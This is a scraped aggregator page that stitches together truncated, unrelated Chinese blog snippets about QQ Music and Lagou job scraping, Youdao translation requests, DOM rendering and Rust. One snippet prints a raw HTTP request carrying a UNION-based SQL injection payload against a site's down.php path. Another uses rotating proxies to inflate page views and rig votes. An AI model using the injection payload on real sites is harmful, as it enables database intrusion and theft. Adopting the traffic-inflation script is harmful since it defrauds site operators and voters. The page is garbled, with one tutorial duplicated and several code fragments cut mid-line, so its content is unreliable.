gecko

手把手教你使用Python抓取QQ音乐数据(第二弹)

别等时光非礼了梦想. 提交于 2020-08-10 23:43:53
【一、项目目标】 通过 Python爬取QQ音乐数据(一) 我们实现了获取 QQ 音乐指定歌手单曲排行指定页数的歌曲的歌名、专辑名、播放链接。 此次我们在之前的基础上获取QQ音乐指定歌曲的歌词及前15个精彩评论。 【二、需要的库】 主要涉及的库有:requests、json、html 【三、项目实现】 1.以歌曲“泡沫”为例,查看该界面的XHR 2.通过对XHR的Size进行排序,逐个查看(参考英文含义),我们看到第一个红框内是歌曲评论,第二个框内是歌词! 3.分别查看这两条数据Headers里面Parms参数。 4.发现这几个参数可能会代表不同的歌曲,那到底是哪个呢,我们在代开另一首歌对比一下。 5.发现只有这个topid不同,其他都一样,这就代表topid代表不同歌曲的id,同理我们看一下歌词。 6、确定下来:musicid= topid = 歌曲的id,接下来我们的任务是找到这个id。 7.返回以下界面,也就是我们上一个项目的主战场。 参考上一个项目,很容易找到“id”的值就是我们要寻找的id。 所以思路确定下来:先通过input()输入歌名生成url_1找到该歌曲的“id”参数,再生成url_2获取歌词和评论。 8.代码实现:获取歌曲id,如下所示: import requests,html,json url_1 = ' https://c.y.qq.com/soso

手把手教你使用Python抓取QQ音乐数据(第二弹)

让人想犯罪 __ 提交于 2020-08-10 19:34:27
【一、项目目标】 通过 Python爬取QQ音乐数据(一) 我们实现了获取 QQ 音乐指定歌手单曲排行指定页数的歌曲的歌名、专辑名、播放链接。 此次我们在之前的基础上获取QQ音乐指定歌曲的歌词及前15个精彩评论。 【二、需要的库】 主要涉及的库有:requests、json、html 【三、项目实现】 1.以歌曲“泡沫”为例,查看该界面的XHR 2.通过对XHR的Size进行排序,逐个查看(参考英文含义),我们看到第一个红框内是歌曲评论,第二个框内是歌词! 3.分别查看这两条数据Headers里面Parms参数。 4.发现这几个参数可能会代表不同的歌曲,那到底是哪个呢,我们在代开另一首歌对比一下。 5.发现只有这个topid不同,其他都一样,这就代表topid代表不同歌曲的id,同理我们看一下歌词。 6、确定下来:musicid= topid = 歌曲的id,接下来我们的任务是找到这个id。 7.返回以下界面,也就是我们上一个项目的主战场。 参考上一个项目,很容易找到“id”的值就是我们要寻找的id。 所以思路确定下来:先通过input()输入歌名生成url_1找到该歌曲的“id”参数,再生成url_2获取歌词和评论。 8.代码实现:获取歌曲id,如下所示: import requests,html,json url_1 = ' https://c.y.qq.com/soso

inject某网站延时注入代码

試著忘記壹切 提交于 2020-08-10 17:52:54
GET /down.php/1' UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 -- --/bb HTTP/1.1 Host: yyy.xxx.cn Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: QQ=1 来源: oschina 链接: https://my.oschina.net/u/4353069/blog/4300196

使用python 加代理刷流量

二次信任 提交于 2020-08-10 14:26:13
关于刷流量 做开发的有的时候会被拜托一些特殊的业务。 比如说刷票,但是你又不好拒绝,比如你钟情的美女突然有一天拜托你刷票。 这个时候就开发一个刷票工具了。 python 还是非常强大的。非常方便。 2,使用python 不是使用原生的url2访问,而是使用requests库。 比较方便一点,方便编程。参数比较详细。 参考文档: http://docs.python-requests.org/zh_CN/latest/ 使用一个高级特性代理: www.16yun.cn python代码 #!/usr/bin/python # -*- coding: utf-8 -*- # 需要安装 requests 库 : # sudo easy_install pip # sudo pip install requests import requests for i in range(1, 10): proxies = { "http": "http://61.164.252.106:139" } url = "http://m.csdn.net/index.html" print(url) req = requests.get(url) # 设置编码 req.encoding = 'utf-8' print(req.text) 使用代理服务器访问csdn网站。 这样的ip就变成代理服务器的ip了

dom渲染流程(cssdom和dom)

萝らか妹 提交于 2020-08-10 07:37:41
渲染引擎——webkit和Gecko Firefox使用Geoko——Mozilla自主研发的渲染引擎 Safari和Chrome都使用webkit,Webkit是一款开源渲染引擎 dom渲染流程:    1、浏览器解析html源码,然后创建一个DOM树。 在DOM树中,每一个HTML标签都有一个对应的节点(元素节点),并且每一个文本也都有一个对应的节点(文本节点)。DOM树的根节点就是documentElement,对应的是html标签。    2、浏览器解析CSS代码,计算出最终的样式数据。 对CSS代码中非法的语法它会直接忽略掉。解析CSS的时候会按照如下顺序来定义优先级:浏览器默认设置,用户设置,外联样式,内联样式,html中的style(嵌在标签中的行间样式)。   3、创建完DOM树并得到最终的样式数据之后,构建一个渲染树。 渲染树和DOM树有点像,但是有区别。DOM树完全和html标签一一对应,而渲染树会忽略不需要渲染的元素(head、display:none的元素)。渲染树中每一个节点都存储着对应的CSS属性。   4、当渲染树创建完成之后,浏览器就可以根据渲染树直接把页面绘制到屏幕上。 渲染树和Dom树的关系   渲染对象和Dom元素相对应,但这种对应关系不是一对一的,不可见的Dom元素不会被插入渲染树,例如head元素。另外

自从尝了 Rust,Java 突然不香了

那年仲夏 提交于 2020-08-10 02:09:23
云栖号资讯:【 点击查看更多行业资讯 】 在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来! 相对而言,Rust 是软件行业中比较新的一门编程语言,如果从语法上来比较,该语言与 C++ 其实非常类似,但从另一方面而言,Rust 能更高效地提供许多功能来保证性能和安全。而且,Rust 还能在无需使用传统的垃圾收集系统的情况下保证内存的安全性。 Rust 语言原本是 Mozilla 员工 Graydon Hoare 的私人项目,Graydon Hoare 当时是 Mozilla 研究部门的一位经验丰富的 IT 科学家。2009 年,Mozilla 开始赞助这个计划,并且在 2010 年首次揭露了它的存在。 随着越来越多设计者的加入,他们为该编程语言打造了浏览器引擎,并设计了 Rust 编译器。Rust 编译器是一款免费和开源的编程软件,受 MIT 许可证和 Apache 许可证保护。自 2016 年起,由于许多开发人员开始选择 Rust 而不是 Java 来进行栈溢出(Stack overflow)开发,Rust 语言开始成为人们关注的焦点。 1. 为什么 Rust 受到许多开发者的青睐? Rust 具有更强大的高并发性和高安全性,堪称栈溢出开发的完美选择。对函数的优秀控制能力和对内存布局的完美运用,这让Rust 成为一种面向性能的编程语言。使用 Rust

手把手教你使用Python抓取QQ音乐数据(第四弹)

混江龙づ霸主 提交于 2020-08-09 06:20:41
【一、项目目标】 通过 手把手教你使用Python抓取QQ音乐数据(第一弹) 我们实现了获取 QQ 音乐指定歌手单曲排行指定页数的歌曲的歌名、专辑名、播放链接。 通过 手把手教你使用Python抓取QQ音乐数据(第二弹) 我们实现了获取 QQ 音乐指定歌曲的歌词和指定歌曲首页热评。 通过 手把手教你使用Python抓取QQ音乐数据(第三弹) 我们实现了获取更多评论并生成词云图。 此次我们将将三个项目封装在一起,通过菜单控制爬取不同数据。 【二、需要的库】 主要涉及的库有:requests、openpyxl、html、json、wordcloud、jieba 如需更换词云图背景图片还需要numpy库和PIL库(pipinstall pillow) 如需生成.exe需要pyinstaller -F 【三、项目实现】 1.首先确定菜单,要实现哪些功能: ①获取指定歌手的歌曲信息(歌名、专辑、链接) ②获取指定歌曲歌词 ③获取指定歌曲评论 ④生成词云图 ⑤退出系统 代码如下: class QQ(): def menu(self): print('欢迎使用QQ音乐爬虫系统,以下是功能菜单,请选择。\n') while True: try: print('功能菜单\n1.获取指定歌手的歌曲信息\n2.获取指定歌曲歌词\n3.获取指定歌曲评论\n4.生成词云图\n5.退出系统\n')

有道词典翻译(携带请求头和post参数请求)

亡梦爱人 提交于 2020-08-09 04:14:42
一、静态爬取页面信息 有道翻译网址: http://fanyi.youdao.com/ 在翻译中输入 python 找到接口和请求的方式 参数是 From Data类型 需要把参数数据转换为字典, 复制粘贴后按住 Ctrl + r ,然后 Headers 内容的长度是data 携带参数的长度 代码实现 分析:红色圈住的,是会根据要翻译的内容变化而变化 运行结果: 代码: import requests import json # 定义爬取url地址 base_url = ' http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule ' # 定义请求参数 data = { ' i ' : ' python ' , ' from ' : ' AUTO ' , ' to ' : ' AUTO ' , ' smartresult ' : ' dict ' , ' client ' : ' fanyideskweb ' , ' salt ' : ' 15508011658043 ' , ' sign ' : ' 8f6d849c13cec811c6b7ab6d0ad41eb6 ' , ' ts ' : ' 1550801165804 ' , ' bv ' : '

招聘信息太多,哪家职位才是适合你的?Python采集招聘信息

◇◆丶佛笑我妖孽 提交于 2020-08-08 12:09:04
前言 在招聘信息上,会提及工作的职位,不过大多描述是笼统的,还需要我们去了解工作的具体内容和性质。要知道,在不同的公司,同样的职位做的事情也是不一样的,工作方法更是大相径庭。所以,要尽可能详细地了解你所投递的职位的具体工作内容、要求。在了解清楚一切后,才能判断出这个职位是否与你的专业、能力、兴趣等相契合。 拉勾招聘是专业的互联网求职招聘平台。致力于提供真实可靠的互联网招聘求职找工作信息。 今天我们一起使用 python 采集拉钩的 python 招聘信息,分析一下找到高薪工作需要掌握哪些技术。 开发环境: 1. 解释器: Python 3.6.5 | Anaconda, Inc. 2. 编辑器: pycharm 社区版 然后信心满满的 ennn 翻车了 不怕,再来!!! 步骤 导入模块: import requests import pprint 正常的情况下,确定爬取的url路径,headers参数就行了,但是有反爬 加上防盗链,Origin,Host参数,还是不行,所以可能就是Cookie的问题了。 还要构建 ip 池 代码如下 def get_cookie(): # 获取服务器返回的 cookie url = ' https://www.lagou.com/jobs/list_python?labelWords=&fromSearch=true&suginput= '

如何让你在众多二手车中挑中满意的?python帮你实现(附源码)

橙三吉。 提交于 2020-08-08 04:01:12
前言 老司机带你去看车,网上的几千条的二手车数据,只需几十行代码,就可以统统获取,保存数据到我们本地电脑上 知识点: 1.python基础知识 2.函数 3.requests库 4.xpath适合零基础的同学 环境: windows + pycharm + python3 爬虫流程: 1.目标网址 2. 发送请求,获取响应 3. 解析网页 提取数据 4. 保存数据 加企鹅群695185429即可免费获取,资料全在群文件里。资料可以领取包括不限于Python实战演练、PDF电子文档、面试集锦、学习资料等 步骤: 1.导入工具 import io import sys import requests # pip install requests from lxml import etree # pip 2.获取汽车详情页面的url,解析网站 def get_detail_urls(url): # 目标网址 # url = 'https://www.guazi.com/cs/buy/o3/' # 发送请求,获取响应 resp = requests.get(url,headers= headers) text = resp.content.decode( ' utf-8 ' ) # 解析网页 html = etree.HTML(text) ul = html.xpath( ' //ul[